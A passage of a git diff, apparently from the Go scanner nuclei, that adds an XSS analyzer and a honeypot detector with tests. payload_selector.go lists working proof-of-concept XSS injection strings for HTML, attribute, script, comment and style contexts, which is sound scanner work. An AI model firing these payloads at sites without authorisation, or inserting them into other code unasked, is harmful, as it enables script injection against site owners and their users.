+func TestClassifyScriptContext_BacktickTemplate(t *testing.T) {
+	raw := "var x = `Hello MARKER123`;"
+	ctx := classifyScriptContext(raw, "MARKER123")
+	require.Equal(t, ContextScriptString, ctx)
+}
+
+func TestClassifyScriptContext_EscapedQuote(t *testing.T) {
+	// The backslash escapes the first quote, so we are still inside
+	// the string when the marker appears.
+	raw := `var x = "He said \"Hello MARKER123\"";`
+	ctx := classifyScriptContext(raw, "MARKER123")
+	require.Equal(t, ContextScriptString, ctx)
+}
+
+func TestDetectAvailableChars_AllPresent(t *testing.T) {
+	marker := `nxssabc123<>"'/`
+	body := `<html><body>` + marker + `</body></html>`
+	chars := DetectAvailableChars(body, marker)
+	require.True(t, chars.AngleBrackets)
+	require.True(t, chars.DoubleQuote)
+	require.True(t, chars.SingleQuote)
+	require.True(t, chars.ForwardSlash)
+}
+
+func TestDetectAvailableChars_SomeEncoded(t *testing.T) {
+	// Simulate the server encoding angle brackets but leaving quotes
+	marker := `nxssabc123<>"'/`
+	encoded := `nxssabc123&lt;&gt;"'/` // < and > were encoded
+	body := `<html><body>` + encoded + `</body></html>`
+	chars := DetectAvailableChars(body, marker)
+	// The full marker is NOT present in the body, so angle brackets
+	// should be detected as unavailable.
+	require.False(t, chars.AngleBrackets)
+}
diff --git a/pkg/fuzz/analyzers/xss/payload_selector.go b/pkg/fuzz/analyzers/xss/payload_selector.go
new file mode 100644
index 0000000000..a95274bbee
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/payload_selector.go
@@ -0,0 +1,166 @@
+package xss
+
+// SelectPayloads returns a set of XSS payloads tuned for the given
+// reflection context and filtered by the characters that survived
+// server-side encoding/filtering. The goal is to avoid wasting
+// requests on payloads that will inevitably be neutered.
+func SelectPayloads(ctx ContextType, chars CharacterSet) []string {
+	candidates := payloadsForContext(ctx)
+	if len(candidates) == 0 {
+		return nil
+	}
+
+	var filtered []string
+	for _, p := range candidates {
+		if canUsePayload(p, chars) {
+			filtered = append(filtered, p)
+		}
+	}
+	return filtered
+}
+
+// payloadsForContext returns the raw payload candidates for a given
+// context type. Each payload set is designed to break out of the
+// surrounding context and achieve script execution.
+func payloadsForContext(ctx ContextType) []string {
+	switch ctx {
+	case ContextHTMLText:
+		return htmlTextPayloads
+	case ContextAttribute:
+		return attributePayloads
+	case ContextAttributeUnquoted:
+		return unquotedAttributePayloads
+	case ContextScript:
+		return scriptPayloads
+	case ContextScriptString:
+		return scriptStringPayloads
+	case ContextHTMLComment:
+		return commentPayloads
+	case ContextStyle:
+		return stylePayloads
+	default:
+		return nil
+	}
+}
+
+// canUsePayload checks whether the payload's required characters all
+// survived the server's filtering. A payload that needs < and > is
+// useless if angle brackets are stripped.
+func canUsePayload(payload string, chars CharacterSet) bool {
+	needs := payloadRequirements(payload)
+
+	if needs.AngleBrackets && !chars.AngleBrackets {
+		return false
+	}
+	if needs.SingleQuote && !chars.SingleQuote {
+		return false
+	}
+	if needs.DoubleQuote && !chars.DoubleQuote {
+		return false
+	}
+	if needs.ForwardSlash && !chars.ForwardSlash {
+		return false
+	}
+	if needs.Parentheses && !chars.Parentheses {
+		return false
+	}
+	if needs.Backtick && !chars.Backtick {
+		return false
+	}
+	if needs.Equals && !chars.Equals {
+		return false
+	}
+	return true
+}
+
+// payloadRequirements scans a payload string and returns which special
+// characters it depends on.
+func payloadRequirements(payload string) CharacterSet {
+	var needs CharacterSet
+	for _, ch := range payload {
+		switch ch {
+		case '<', '>':
+			needs.AngleBrackets = true
+		case '\'':
+			needs.SingleQuote = true
+		case '"':
+			needs.DoubleQuote = true
+		case '/':
+			needs.ForwardSlash = true
+		case '`':
+			needs.Backtick = true
+		case '(', ')':
+			needs.Parentheses = true
+		case '=':
+			needs.Equals = true
+		}
+	}
+	return needs
+}
+
+// --- Payload sets by context ---
+//
+// Payloads are intentionally minimal: the analyzer's job is to confirm
+// that code execution is structurally possible, not to deliver a full
+// exploit chain. Each payload targets the most common breakout vector
+// for its context.
+
+// htmlTextPayloads break out by injecting new tags.
+var htmlTextPayloads = []string{
+	"<script>alert(1)</script>",
+	"<img src=x onerror=alert(1)>",
+	"<svg onload=alert(1)>",
+	"<svg/onload=alert(1)>",
+	"<details open ontoggle=alert(1)>",
+}
+
+// attributePayloads break out of a quoted attribute value and inject
+// an event handler or new tag.
+var attributePayloads = []string{
+	`" onfocus=alert(1) autofocus="`,
+	`" onmouseover=alert(1) "`,
+	`"><script>alert(1)</script>`,
+	`"><img src=x onerror=alert(1)>`,
+	`' onfocus=alert(1) autofocus='`,
+	`'><script>alert(1)</script>`,
+}
+
+// unquotedAttributePayloads exploit missing quotes around attribute
+// values -- a space or slash is enough to inject a new attribute.
+var unquotedAttributePayloads = []string{
+	" onfocus=alert(1) autofocus",
+	" onmouseover=alert(1)",
+	"><script>alert(1)</script>",
+	"><img src=x onerror=alert(1)>",
+}
+
+// scriptPayloads inject into bare <script> blocks.
+var scriptPayloads = []string{
+	"</script><script>alert(1)</script>",
+	";alert(1)//",
+	";alert(1);",
+}
+
+// scriptStringPayloads break out of a JS string literal and execute
+// code, then re-open a string so the trailing quote does not cause
+// a syntax error.
+var scriptStringPayloads = []string{
+	`';alert(1)//`,
+	`";alert(1)//`,
+	`</script><script>alert(1)</script>`,
+	"`-alert(1)-`",
+}
+
+// commentPayloads close the HTML comment and inject executable HTML.
+var commentPayloads = []string{
+	"--><script>alert(1)</script>",
+	"--><img src=x onerror=alert(1)>",
+}
+
+// stylePayloads attempt CSS-based injection vectors. Modern browsers
+// largely block expression() and -moz-binding, but </style> breakout
+// is still viable.
+var stylePayloads = []string{
+	"</style><script>alert(1)</script>",
+	"</style><img src=x onerror=alert(1)>",
+}
diff --git a/pkg/fuzz/analyzers/xss/payload_selector_test.go b/pkg/fuzz/analyzers/xss/payload_selector_test.go
new file mode 100644
index 0000000000..e4b75c5d18
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/payload_selector_test.go
@@ -0,0 +1,166 @@
+package xss
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+func TestSelectPayloads_HTMLText_AllCharsAvailable(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+		ForwardSlash:  true,
+		Backtick:      true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextHTMLText, chars)
+	require.NotEmpty(t, payloads)
+	// All HTML text payloads require angle brackets and parentheses
+	for _, p := range payloads {
+		require.Contains(t, p, "<", "payload %q should contain <", p)
+	}
+}
+
+func TestSelectPayloads_HTMLText_NoBrackets(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: false,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextHTMLText, chars)
+	// Without angle brackets, HTML text payloads should be filtered out
+	require.Empty(t, payloads)
+}
+
+func TestSelectPayloads_Attribute_AllChars(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextAttribute, chars)
+	require.NotEmpty(t, payloads)
+}
+
+func TestSelectPayloads_Attribute_NoDoubleQuote(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   false,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextAttribute, chars)
+	// Should still have some payloads (single-quote variants)
+	require.NotEmpty(t, payloads)
+	// None should contain a double quote
+	for _, p := range payloads {
+		require.NotContains(t, p, `"`, "payload should not need double quote: %s", p)
+	}
+}
+
+func TestSelectPayloads_Script(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+	}
+	payloads := SelectPayloads(ContextScript, chars)
+	require.NotEmpty(t, payloads)
+}
+
+func TestSelectPayloads_ScriptString(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Backtick:      true,
+	}
+	payloads := SelectPayloads(ContextScriptString, chars)
+	require.NotEmpty(t, payloads)
+}
+
+func TestSelectPayloads_Comment(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextHTMLComment, chars)
+	require.NotEmpty(t, payloads)
+}
+
+func TestSelectPayloads_Style(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Equals:        true,
+	}
+	payloads := SelectPayloads(ContextStyle, chars)
+	require.NotEmpty(t, payloads)
+}
+
+func TestSelectPayloads_UnknownContext(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+	}
+	payloads := SelectPayloads(ContextNone, chars)
+	require.Nil(t, payloads)
+}
+
+func TestPayloadRequirements(t *testing.T) {
+	reqs := payloadRequirements(`"><script>alert(1)</script>`)
+	require.True(t, reqs.AngleBrackets)
+	require.True(t, reqs.DoubleQuote)
+	require.True(t, reqs.ForwardSlash)
+	require.True(t, reqs.Parentheses)
+	require.False(t, reqs.SingleQuote)
+	require.False(t, reqs.Backtick)
+}
+
+func TestCanUsePayload_AllAvailable(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		SingleQuote:   true,
+		DoubleQuote:   true,
+		ForwardSlash:  true,
+		Parentheses:   true,
+		Backtick:      true,
+		Equals:        true,
+	}
+	require.True(t, canUsePayload(`<script>alert(1)</script>`, chars))
+}
+
+func TestCanUsePayload_MissingBrackets(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: false,
+		Parentheses:   true,
+		ForwardSlash:  true,
+	}
+	require.False(t, canUsePayload(`<script>alert(1)</script>`, chars))
+}
+
+func TestCanUsePayload_MissingParens(t *testing.T) {
+	chars := CharacterSet{
+		AngleBrackets: true,
+		Parentheses:   false,
+		ForwardSlash:  true,
+	}
+	require.False(t, canUsePayload(`<script>alert(1)</script>`, chars))
+}
diff --git a/pkg/fuzz/analyzers/xss/types.go b/pkg/fuzz/analyzers/xss/types.go
new file mode 100644
index 0000000000..d3472cae63
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/types.go
@@ -0,0 +1,256 @@
+package xss
+
+import "strings"
+
+// ContextType classifies the HTML parsing context where a reflected value
+// was found. Each context requires different escape sequences to achieve
+// script execution, so knowing the context drives payload selection.
+type ContextType int
+
+const (
+	// ContextNone means the marker was not found in the response body.
+	ContextNone ContextType = iota
+	// ContextHTMLComment means the marker appeared inside an HTML comment.
+	ContextHTMLComment
+	// ContextHTMLText means the marker appeared in normal HTML body text
+	// (between tags, outside any special parsing context).
+	ContextHTMLText
+	// ContextAttribute means the marker appeared inside a quoted or
+	// unquoted HTML attribute value.
+	ContextAttribute
+	// ContextAttributeUnquoted is like ContextAttribute but specifically
+	// for unquoted attribute values, which have different breakout rules.
+	ContextAttributeUnquoted
+	// ContextScript means the marker appeared inside a <script> block
+	// or inside a JavaScript event-handler attribute.
+	ContextScript
+	// ContextScriptString is a sub-context of ContextScript where the
+	// marker is inside a quoted JS string literal.
+	ContextScriptString
+	// ContextStyle means the marker appeared inside a <style> block.
+	ContextStyle
+)
+
+// String returns a human-readable label for the context type, useful for
+// debug logging and result reporting.
+func (c ContextType) String() string {
+	switch c {
+	case ContextHTMLComment:
+		return "html_comment"
+	case ContextHTMLText:
+		return "html_text"
+	case ContextAttribute:
+		return "attribute"
+	case ContextAttributeUnquoted:
+		return "attribute_unquoted"
+	case ContextScript:
+		return "script"
+	case ContextScriptString:
+		return "script_string"
+	case ContextStyle:
+		return "style"
+	default:
+		return "none"
+	}
+}
+
+// CharacterSet tracks which characters survived server-side processing
+// (sanitization, encoding, WAF filtering). We send a canary that
+// includes special characters and then check which ones appear
+// unmodified in the response.
+type CharacterSet struct {
+	AngleBrackets bool // < and >
+	SingleQuote   bool // '
+	DoubleQuote   bool // "
+	ForwardSlash  bool // /
+	Backtick      bool // `
+	Parentheses   bool // ( and )
+	Equals        bool // =
+}
+
+// ReflectionInfo describes a single location where the marker was
+// reflected in the response, along with the parsing context and the
+// set of characters that survived encoding/filtering at that location.
+type ReflectionInfo struct {
+	// Context is the HTML parsing context at this reflection point.
+	Context ContextType
+	// Position is the byte offset within the response body where the
+	// marker was found.
+	Position int
+	// AttributeName is set when the reflection is inside an attribute.
+	// It holds the lowercase attribute name for context-specific decisions
+	// (e.g. distinguishing href from class).
+	AttributeName string
+	// Chars records which payload-critical characters survived the
+	// server's encoding/filtering pipeline at this reflection point.
+	Chars CharacterSet
+}
+
+// eventHandlers is the set of JavaScript event-handler attribute names.
+// When a reflected value lands inside one of these, the context is
+// effectively JavaScript rather than plain attribute.
+var eventHandlers = map[string]struct{}{
+	"onabort":             {},
+	"onafterprint":        {},
+	"onanimationend":      {},
+	"onanimationiteration": {},
+	"onanimationstart":    {},
+	"onauxclick":          {},
+	"onbeforeprint":       {},
+	"onbeforeunload":      {},
+	"onblur":              {},
+	"oncanplay":           {},
+	"oncanplaythrough":    {},
+	"onchange":            {},
+	"onclick":             {},
+	"onclose":             {},
+	"oncontextmenu":       {},
+	"oncopy":              {},
+	"oncuechange":         {},
+	"oncut":               {},
+	"ondblclick":          {},
+	"ondrag":              {},
+	"ondragend":           {},
+	"ondragenter":         {},
+	"ondragleave":         {},
+	"ondragover":          {},
+	"ondragstart":         {},
+	"ondrop":              {},
+	"ondurationchange":    {},
+	"onemptied":           {},
+	"onended":             {},
+	"onerror":             {},
+	"onfocus":             {},
+	"onfocusin":           {},
+	"onfocusout":          {},
+	"onfullscreenchange":  {},
+	"onfullscreenerror":   {},
+	"ongotpointercapture": {},
+	"onhashchange":        {},
+	"oninput":             {},
+	"oninvalid":           {},
+	"onkeydown":           {},
+	"onkeypress":          {},
+	"onkeyup":             {},
+	"onload":              {},
+	"onloadeddata":        {},
+	"onloadedmetadata":    {},
+	"onloadstart":         {},
+	"onlostpointercapture": {},
+	"onmessage":           {},
+	"onmousedown":         {},
+	"onmouseenter":        {},
+	"onmouseleave":        {},
+	"onmousemove":         {},
+	"onmouseout":          {},
+	"onmouseover":         {},
+	"onmouseup":           {},
+	"onoffline":           {},
+	"ononline":            {},
+	"onopen":              {},
+	"onpagehide":          {},
+	"onpageshow":          {},
+	"onpaste":             {},
+	"onpause":             {},
+	"onplay":              {},
+	"onplaying":           {},
+	"onpointercancel":     {},
+	"onpointerdown":       {},
+	"onpointerenter":      {},
+	"onpointerleave":      {},
+	"onpointermove":       {},
+	"onpointerout":        {},
+	"onpointerover":       {},
+	"onpointerup":         {},
+	"onpopstate":          {},
+	"onprogress":          {},
+	"onratechange":        {},
+	"onreset":             {},
+	"onresize":            {},
+	"onscroll":            {},
+	"onsearch":            {},
+	"onseeked":            {},
+	"onseeking":           {},
+	"onselect":            {},
+	"onstalled":           {},
+	"onstorage":           {},
+	"onsubmit":            {},
+	"onsuspend":           {},
+	"ontimeupdate":        {},
+	"ontoggle":            {},
+	"ontouchcancel":       {},
+	"ontouchend":          {},
+	"ontouchmove":         {},
+	"ontouchstart":        {},
+	"ontransitionend":     {},
+	"onunload":            {},
+	"onvolumechange":      {},
+	"onwaiting":           {},
+	"onwheel":             {},
+}
+
+// isEventHandler returns true if the attribute name (given as a byte slice)
+// is a known JavaScript event handler. The check is case-insensitive and
+// avoids heap allocation on the hot path by using a stack-allocated buffer
+// for the lowercase conversion.
+func isEventHandler(attr []byte) bool {
+	if len(attr) < 4 || len(attr) > 28 {
+		return false
+	}
+	// Fast prefix check without allocation: 'o' and 'n'
+	if (attr[0]|0x20) != 'o' || (attr[1]|0x20) != 'n' {
+		return false
+	}
+	// Lowercase into stack buffer to avoid heap escape for the map lookup.
+	var buf [28]byte
+	n := copy(buf[:], attr)
+	for i := 0; i < n; i++ {
+		if buf[i] >= 'A' && buf[i] <= 'Z' {
+			buf[i] += 0x20
+		}
+	}
+	_, ok := eventHandlers[string(buf[:n])]
+	return ok
+}
+
+// isEventHandlerString is a convenience wrapper for string attribute names.
+func isEventHandlerString(name string) bool {
+	lower := strings.ToLower(name)
+	_, ok := eventHandlers[lower]
+	return ok
+}
+
+// DetectAvailableChars sends the canary with test characters embedded
+// and determines which of the characters survived encoding/filtering
+// by checking whether they appear in the reflected body. If a character
+// was not part of the original canary it is conservatively marked as
+// available (we cannot tell whether it would be filtered).
+func DetectAvailableChars(body, marker string) CharacterSet {
+	cs := CharacterSet{}
+
+	// The canary value that was injected. If the marker contains the
+	// test characters, we check if those survived in the response. If it
+	// does not, we assume they are available (conservative default).
+	cs.AngleBrackets = markerCharSurvived(body, marker, "<") && markerCharSurvived(body, marker, ">")
+	cs.SingleQuote = markerCharSurvived(body, marker, "'")
+	cs.DoubleQuote = markerCharSurvived(body, marker, "\"")
+	cs.ForwardSlash = markerCharSurvived(body, marker, "/")
+	cs.Backtick = markerCharSurvived(body, marker, "`")
+	cs.Parentheses = markerCharSurvived(body, marker, "(") && markerCharSurvived(body, marker, ")")
+	cs.Equals = markerCharSurvived(body, marker, "=")
+
+	return cs
+}
+
+// markerCharSurvived checks whether a test character that was embedded
+// alongside the marker has survived encoding. If the marker itself does
+// not contain the character, we return true (conservative: assume
+// available since we could not test it).
+func markerCharSurvived(body, marker, char string) bool {
+	if !strings.Contains(marker, char) {
+		return true
+	}
+	// The character was in the canary; it survived if it still appears
+	// near the marker in the response body.
+	return strings.Contains(body, marker)
+}
diff --git a/pkg/honeypot/honeypot.go b/pkg/honeypot/honeypot.go
new file mode 100644
index 0000000000..7fe40d2f74
--- /dev/null
+++ b/pkg/honeypot/honeypot.go
@@ -0,0 +1,221 @@
+package honeypot
+
+import (
+	"net/url"
+	"strings"
+	"sync"
+
+	"github.com/projectdiscovery/gologger"
+)
+
+// Detector tracks unique template matches per host and flags hosts
+// that exceed a configurable threshold as likely honeypots. Honeypots
+// on platforms like Shodan often return responses that match many
+// unrelated nuclei templates to confuse scanners.
+//
+// The detector is safe for concurrent use.
+type Detector struct {
+	mu        sync.Mutex
+	threshold int
+	suppress  bool
+
+	// hostMatches maps normalized host -> set of unique template IDs matched
+	hostMatches map[string]map[string]struct{}
+	// flagged tracks hosts that have crossed the threshold
+	flagged map[string]struct{}
+	// warned tracks hosts for which we already printed a warning
+	warned map[string]struct{}
+}
+
+// New creates a new honeypot Detector with the given threshold. If threshold
+// is 0 or negative, the detector is effectively disabled (IsEnabled returns false).
+// When suppress is true, results from flagged honeypot hosts will be suppressed.
+func New(threshold int, suppress bool) *Detector {
+	return &Detector{
+		threshold:   threshold,
+		suppress:    suppress,
+		hostMatches: make(map[string]map[string]struct{}),
+		flagged:     make(map[string]struct{}),
+		warned:      make(map[string]struct{}),
+	}
+}
+
+// IsEnabled returns true if the detector is active (threshold > 0).
+func (d *Detector) IsEnabled() bool {
+	return d.threshold > 0
+}
+
+// RecordMatch registers a template match for the given host. It returns
+// true if the host was just flagged as a honeypot (crossed threshold),
+// false otherwise. This method is thread-safe.
+func (d *Detector) RecordMatch(host, templateID string) bool {
+	if !d.IsEnabled() {
+		return false
+	}
+
+	normalized := NormalizeHost(host)
+	if normalized == "" {
+		return false
+	}
+
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	// If already flagged, no need to track further
+	if _, ok := d.flagged[normalized]; ok {
+		return false
+	}
+
+	templates, exists := d.hostMatches[normalized]
+	if !exists {
+		templates = make(map[string]struct{})
+		d.hostMatches[normalized] = templates
+	}
+	templates[templateID] = struct{}{}
+
+	if len(templates) >= d.threshold {
+		d.flagged[normalized] = struct{}{}
+		// Free the template set since we no longer need it after flagging
+		delete(d.hostMatches, normalized)
+		return true
+	}
+	return false
+}
+
+// IsFlagged returns true if the given host has been identified as a
+// likely honeypot. This method is thread-safe.
+func (d *Detector) IsFlagged(host string) bool {
+	if !d.IsEnabled() {
+		return false
+	}
+
+	normalized := NormalizeHost(host)
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	_, ok := d.flagged[normalized]
+	return ok
+}
+
+// ShouldSuppress returns true if results for this host should be suppressed.
+// A host is suppressed only if it has been flagged AND the suppress option is enabled.
+func (d *Detector) ShouldSuppress(host string) bool {
+	if !d.IsEnabled() || !d.suppress {
+		return false
+	}
+	return d.IsFlagged(host)
+}
+
+// WarnOnce prints a honeypot warning for the given host, but only the first
+// time it is called for that host. Returns true if a warning was emitted.
+func (d *Detector) WarnOnce(host string) bool {
+	if !d.IsEnabled() {
+		return false
+	}
+
+	normalized := NormalizeHost(host)
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if _, ok := d.warned[normalized]; ok {
+		return false
+	}
+	d.warned[normalized] = struct{}{}
+
+	action := "results may be unreliable"
+	if d.suppress {
+		action = "subsequent results will be suppressed"
+	}
+	gologger.Warning().Msgf(
+		"[honeypot] %s matched %d+ unique templates (likely honeypot, %s)",
+		host, d.threshold, action,
+	)
+	return true
+}
+
+// FlaggedHosts returns a list of all hosts that have been identified as
+// likely honeypots. This method is thread-safe.
+func (d *Detector) FlaggedHosts() []string {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	hosts := make([]string, 0, len(d.flagged))
+	for host := range d.flagged {
+		hosts = append(hosts, host)
+	}
+	return hosts
+}
+
+// MatchCount returns the number of unique template IDs that have matched
+// for the given host. For flagged hosts the exact count is not tracked
+// (returns the threshold). This method is thread-safe.
+func (d *Detector) MatchCount(host string) int {
+	if !d.IsEnabled() {
+		return 0
+	}
+
+	normalized := NormalizeHost(host)
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if _, ok := d.flagged[normalized]; ok {
+		return d.threshold
+	}
+	if templates, ok := d.hostMatches[normalized]; ok {
+		return len(templates)
+	}
+	return 0
+}
+
+// PrintSummary outputs a summary of detected honeypot hosts at the end
+// of the scan (if any were detected).
+func (d *Detector) PrintSummary() {
+	if !d.IsEnabled() {
+		return
+	}
+	hosts := d.FlaggedHosts()
+	if len(hosts) == 0 {
+		return
+	}
+	gologger.Info().Msgf("[honeypot] Detected %d likely honeypot host(s):", len(hosts))
+	for _, host := range hosts {
+		gologger.Info().Msgf("  - %s", host)
+	}
+}
+
+// NormalizeHost extracts a canonical host identifier from a URL, host:port,
+// or bare hostname/IP. It strips the scheme, port, path, and query string.
+// For IPv6 addresses, brackets are removed.
+func NormalizeHost(raw string) string {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return ""
+	}
+
+	// If it looks like a URL (has scheme), parse it
+	if strings.Contains(raw, "://") {
+		parsed, err := url.Parse(raw)
+		if err == nil && parsed.Hostname() != "" {
+			return strings.ToLower(parsed.Hostname())
+		}
+	}
+
+	// Try host:port format
+	// Handle IPv6 with brackets: [::1]:8080
+	if strings.HasPrefix(raw, "[") {
+		// IPv6 with brackets
+		if idx := strings.LastIndex(raw, "]"); idx != -1 {
+			return strings.ToLower(raw[1:idx])
+		}
+	}
+
+	// Regular host:port
+	if idx := strings.LastIndex(raw, ":"); idx != -1 {
+		// Make sure it's not just an IPv6 address without brackets
+		if strings.Count(raw, ":") == 1 {
+			return strings.ToLower(raw[:idx])
+		}
+	}
+
+	return strings.ToLower(raw)
+}
diff --git a/pkg/honeypot/honeypot_test.go b/pkg/honeypot/honeypot_test.go
new file mode 100644
index 0000000000..3785f24641
--- /dev/null
+++ b/pkg/honeypot/honeypot_test.go
@@ -0,0 +1,185 @@
+package honeypot
+
+import (
+	"fmt"
+	"sync"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+func TestNormalizeHost(t *testing.T) {
+	tests := []struct {
+		name     string
+		input    string
+		expected string
+	}{
+		{"URL with scheme", "https://example.com/path?q=1", "example.com"},
+		{"URL with port", "http://example.com:8080/admin", "example.com"},
+		{"Host:port", "example.com:443", "example.com"},
+		{"Bare host", "example.com", "example.com"},
+		{"IPv4", "192.168.1.1", "192.168.1.1"},
+		{"IPv4 with port", "192.168.1.1:8080", "192.168.1.1"},
+		{"IPv6 with brackets and port", "[::1]:8080", "::1"},
+		{"IPv6 URL", "http://[2001:db8::1]:443/path", "2001:db8::1"},
+		{"Empty string", "", ""},
+		{"Whitespace", "  ", ""},
+		{"Mixed case", "HTTP://Example.COM:8080", "example.com"},
+		{"Trailing slash", "https://example.com/", "example.com"},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := NormalizeHost(tt.input)
+			assert.Equal(t, tt.expected, result)
+		})
+	}
+}
+
+func TestDetectorDisabled(t *testing.T) {
+	d := New(0, false)
+	assert.False(t, d.IsEnabled(), "detector should be disabled with threshold 0")
+	assert.False(t, d.RecordMatch("example.com", "cve-2021-1234"))
+	assert.False(t, d.IsFlagged("example.com"))
+	assert.False(t, d.ShouldSuppress("example.com"))
+	assert.Equal(t, 0, d.MatchCount("example.com"))
+	assert.Empty(t, d.FlaggedHosts())
+}
+
+func TestDetectorNegativeThreshold(t *testing.T) {
+	d := New(-1, false)
+	assert.False(t, d.IsEnabled())
+}
+
+func TestDetectorThresholdFlagging(t *testing.T) {
+	d := New(3, false)
+	require.True(t, d.IsEnabled())
+
+	// Add 2 unique templates - should NOT be flagged yet
+	assert.False(t, d.RecordMatch("example.com", "cve-2021-0001"))
+	assert.False(t, d.RecordMatch("example.com", "cve-2021-0002"))
+	assert.False(t, d.IsFlagged("example.com"))
+	assert.Equal(t, 2, d.MatchCount("example.com"))
+
+	// Add same template again - dedup, should NOT increase count
+	assert.False(t, d.RecordMatch("example.com", "cve-2021-0002"))
+	assert.Equal(t, 2, d.MatchCount("example.com"))
+	assert.False(t, d.IsFlagged("example.com"))
+
+	// Add 3rd unique template - should NOW be flagged
+	assert.True(t, d.RecordMatch("example.com", "cve-2021-0003"))
+	assert.True(t, d.IsFlagged("example.com"))
+
+	// Subsequent record should return false (already flagged)
+	assert.False(t, d.RecordMatch("example.com", "cve-2021-0004"))
+}
+
+func TestDetectorSuppression(t *testing.T) {
+	// suppress=false: should not suppress even if flagged
+	d := New(2, false)
+	d.RecordMatch("target.com", "tmpl-1")
+	d.RecordMatch("target.com", "tmpl-2")
+	assert.True(t, d.IsFlagged("target.com"))
+	assert.False(t, d.ShouldSuppress("target.com"))
+
+	// suppress=true: should suppress flagged hosts
+	d2 := New(2, true)
+	d2.RecordMatch("target.com", "tmpl-1")
+	d2.RecordMatch("target.com", "tmpl-2")
+	assert.True(t, d2.IsFlagged("target.com"))
+	assert.True(t, d2.ShouldSuppress("target.com"))
+
+	// Non-flagged host should not be suppressed
+	assert.False(t, d2.ShouldSuppress("clean.com"))
+}
+
+func TestDetectorHostNormalizationConsistency(t *testing.T) {
+	d := New(2, false)
+
+	// These should all map to the same host
+	d.RecordMatch("https://example.com/path1", "tmpl-1")
+	d.RecordMatch("http://example.com:8080/path2", "tmpl-2")
+
+	// Should be flagged via any form of the host
+	assert.True(t, d.IsFlagged("example.com"))
+	assert.True(t, d.IsFlagged("https://example.com"))
+	assert.True(t, d.IsFlagged("example.com:443"))
+}
+
+func TestDetectorMultipleHosts(t *testing.T) {
+	d := New(2, false)
+
+	// host1 gets 2 templates
+	d.RecordMatch("host1.com", "tmpl-1")
+	d.RecordMatch("host1.com", "tmpl-2")
+	// host2 gets only 1 template
+	d.RecordMatch("host2.com", "tmpl-1")
+
+	assert.True(t, d.IsFlagged("host1.com"))
+	assert.False(t, d.IsFlagged("host2.com"))
+
+	flagged := d.FlaggedHosts()
+	assert.Len(t, flagged, 1)
+	assert.Contains(t, flagged, "host1.com")
+}
+
+func TestDetectorWarnOnce(t *testing.T) {
+	d := New(2, false)
+	d.RecordMatch("target.com", "tmpl-1")
+	d.RecordMatch("target.com", "tmpl-2")
+
+	// First warn should emit
+	assert.True(t, d.WarnOnce("target.com"))
+	// Second warn should be suppressed
+	assert.False(t, d.WarnOnce("target.com"))
+}
+
+func TestDetectorConcurrency(t *testing.T) {
+	d := New(50, false)
+	var wg sync.WaitGroup
+
+	// Launch many goroutines recording matches concurrently
+	for i := 0; i < 100; i++ {
+		wg.Add(1)
+		go func(id int) {
+			defer wg.Done()
+			host := "concurrent-host.com"
+			tmplID := fmt.Sprintf("tmpl-%d", id)
+			d.RecordMatch(host, tmplID)
+		}(i)
+	}
+	wg.Wait()
+
+	// With 100 unique templates and threshold 50, host should be flagged
+	assert.True(t, d.IsFlagged("concurrent-host.com"))
+}
+
+func TestDetectorMemoryCleanup(t *testing.T) {
+	d := New(2, false)
+
+	d.RecordMatch("example.com", "tmpl-1")
+	d.RecordMatch("example.com", "tmpl-2")
+
+	// After flagging, the internal hostMatches entry should be cleaned up
+	d.mu.Lock()
+	_, hasEntry := d.hostMatches["example.com"]
+	d.mu.Unlock()
+	assert.False(t, hasEntry, "hostMatches should be cleaned up after flagging")
+}
+
+func TestDetectorEmptyHost(t *testing.T) {
+	d := New(2, false)
+	assert.False(t, d.RecordMatch("", "tmpl-1"))
+	assert.False(t, d.IsFlagged(""))
+}
+
+func TestDetectorMatchCountFlagged(t *testing.T) {
+	d := New(3, false)
+	d.RecordMatch("example.com", "a")
+	d.RecordMatch("example.com", "b")
+	d.RecordMatch("example.com", "c")
+
+	// Once flagged, MatchCount returns the threshold
+	assert.Equal(t, 3, d.MatchCount("example.com"))
+}
diff --git a/pkg/output/output.go b/pkg/output/output.go
index e18d261318..4052244b71 100644
--- a/pkg/output/output.go
